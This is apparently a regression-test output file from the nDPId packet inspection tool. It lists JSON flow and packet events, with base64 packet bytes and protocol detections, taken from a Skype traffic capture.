+00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":676,"source":"skype.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":422217,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/GQkAAEARSEjAqAEiQAQXjzLdnFIAK+Dtm\/ACn46vTpwjXGMZ9bJtrKD0Tox8o\/uW9MNcEfVIZROhfxw="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":676,"source":"skype.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":677,"source":"skype.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.25","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":422217,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+3+IAAEARuLHAqAEiQTffGTLdnFwAKrqUm\/ICs3eZ5yAavzTYAFVG6cHtvks6WRTX6quz\/un4rGT7CA=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":677,"source":"skype.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.25","src_port":13021,"dst_port":40028,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":678,"source":"skype.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.151","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":678,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":422217,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/8JUAAEAR8n\/AqAEinTc4lzLdnFsAK42nm\/QCY347bApK+fSJyR3vpMK2pFmarm3qJcKY67tEOMSW2tE="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":678,"source":"skype.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.151","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00523{"flow_id":64,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":484047,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6QTZAAEAGYZzAqAEinTc4qsN1AbtlArNVviBnW4AYECzm9wAAAQEICj4i2X5Nea82lrtEvF7Syi3sYudbWmm1LLmltdXITy9EZvRGZ4\/xmZ+XSmldmKNIhY33FGOH7bkZm8kH56oaXL6ossqblsc6QCTpmqw22A=="} +00436{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":651193,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8iUBAAEAGHk3AqAEinTg0LMNwnGCx3l+sHyRlkIAYEClalgAAAQEICj4i2iVMZC+5IVzDseW9I30="} +00437{"flow_id":57,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":966374,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8gFdAAEAGbyPAqAEi1cezr8NznFXnJeT4bf1jqoAYECrYhwAAAQEICj4i22BO2zlegPUYPB\/96j4="} +00438{"flow_id":51,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":359268,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8g\/BAAEAG1T3AqAEinTeCjMNynGH\/hzYDZw7DuIAYECnNWgAAAQEICj4i3OhOvfULJJFwCjegzGQ="} +00495{"flow_id":71,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":375428,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABmXWZAAEAGkerAqAEi1cezr8N3AbvoukrF6jj3F4AYECxToAAAAQEICj4i3PhO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":685,"source":"skype.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1431969663377,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":50044,"dst_port":40031,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":377930,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA1DJAAEAGhNzAqAEinTeCp8N8nF+W1hb6AAAAALAC\/\/8sigAAAgQFtAEDAwUBAQgKPiLc+gAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":686,"source":"skype.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.166","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":378172,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAy1ywAAEARC+fAqAEinTc4pjLdnFYAHmpym\/YCUIZT7d8ZZahDgzlHGwrFeQgMHw=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":686,"source":"skype.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.166","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":687,"source":"skype.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":378172,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBojAAAEARjU7AqAEi1cezmzLdnEQALVYJm\/gCocGAOu9ctMRuZg09sIXFBXfoFp0ezBOePl8z3klTgDOO8A=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":687,"source":"skype.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":688,"source":"skype.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.27","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":378237,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA4LIAAEARBt3AqAEinTg0GzLdnFsALK5Hm\/oC27Di400dfPUDJrwFd8eoU\/psKrn9OzjyFuH7NFUpoc4x"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":688,"source":"skype.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.27","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":689,"source":"skype.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.173","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":378237,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyTM0AAEAR4z7AqAEinTfrrTLdnEwAHgM8m\/wCyw55OL3+chZLjMlighndXw9\/qA=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":689,"source":"skype.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.173","src_port":13021,"dst_port":40012,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":690,"source":"skype.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.157","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":690,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":378238,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5cNoAAEARvzrAqAEinTfrnTLdnEoAJXKym\/4Cz\/csSQ42SRwcVm84KNSC1Bge6u0+CtZPiaQ="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":690,"source":"skype.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1431969663378,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.157","src_port":13021,"dst_port":40010,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00435{"flow_id":87,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":505002,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYhOdN4KnwKgBIpxfw3yB0ZuyltYW+6ASOJDi6AAAAgQFrAQCCApOq7XZPiLc+gEDAwk="} +00423{"flow_id":87,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":505133,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0s6BAAEAGpXrAqAEinTeCp8N8nF+W1hb7gdGbs4AQECw5lAAAAQEICj4i3XlOq7XZ"} +00536{"flow_id":87,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":505683,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"0NQSxnP1PBXCt3IOCABFAACDnKFAAEAGvCrAqAEinTeCp8N8nF+W1hb7gdGbs4AYECwikQAAAQEICj4i3XlOq7XZChG\/0yYPmKegA+hNcGZvZSHoQU++Nx5Rkm\/BbOmvh7jXIbPWsU9+9CW7Aer6Cao0MOGe9zx9ivMI2TavlPWiK+DRzmfsbbpjuMlmH0Tl0g=="} +00423{"flow_id":87,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":633511,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0LkpAADcGM9GdN4KnwKgBIpxfw3yB0ZuzltYXSoAQAB1JNAAAAQEICk6rtfk+It15"} +00535{"flow_id":87,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":639633,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"PBXCt3IO0NQSxnP1CABFAACELktAADcGM4CdN4KnwKgBIpxfw3yB0ZuzltYXSoAYAB07MQAAAQEICk6rtfs+It15gKI9976BXkzPO8JpMxteqmrvf10Vw96PKLzt1LqoxBOQkCwa6p2v91g++TX1\/mXMcCHeN3y9yjNIGXbv1DXiayARDqcsrfqj+AmmX4QlEts="} +00423{"flow_id":87,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":696,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":639698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0NnpAAEAGIqHAqAEinTeCp8N8nF+W1hdKgdGcA4AQECk4UAAAAQEICj4i3f9Oq7X7"} +00435{"flow_id":87,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":697,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":640230,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8bEJAAEAG7NDAqAEinTeCp8N8nF+W1hdKgdGcA4AYEClK9AAAAQEICj4i3f9Oq7X7zDi7upn8y1s="} +00436{"flow_id":50,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":698,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969663,"pkt_ts_usec":864825,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8IPpAAEAGghbAqAEinTc4qsNxnE+r6BLEPu7rjYAYECqhrAAAAQEICj4i3t9Nea2iMpsmfs9xo5c="} +00435{"flow_id":87,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":161090,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8BTFAAEAGU+LAqAEinTeCp8N8nF+W1hdKgdGcA4AYEClI7QAAAQEICj4i4AZOq7X7zDi7upn8y1s="} +00490{"flow_id":63,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":701,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":176258,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"0NQSxnP1PBXCt3IOCABFAABigoRAAEAGJOPAqAEinTg0LMN0AbuAxvPD3A2f1IAYECz1rQAAAQEICj4i4BVMZDFLCID\/ssOnhCQbPdgraKv5X6X6LEBl4VvsbMI2yvwLdbH5FbeEibgiwFjV2Yetww=="} +00430{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":702,"source":"skype.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1431969664357,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00398{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":357397,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAABoPPBbTu2CABGrAAgAAAAAAECgoTAqAD+4AAAAZQEAAARZO6bAAAAAA=="} +00462{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":702,"source":"skype.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1431969664357,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":703,"source":"skype.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.165","src_port":13021,"dst_port":40007,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":703,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":405665,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8z44AAEARX+vAqAEi1cezpTLdnEcAKEGUnAACQndt5hKcGQjs\/aUFepuMkaIJ9906aCWz4pv6M2E="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":703,"source":"skype.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.165","src_port":13021,"dst_port":40007,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":704,"source":"skype.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":704,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969664,"pkt_ts_usec":405665,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyGYIAAEARfyPAqAEiQTffFDLdnGEAHnjQnAICuB3xnzqHf8BCJKQQ6ooGPwkzRg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":704,"source":"skype.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":705,"source":"skype.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1431969664405,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.148","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 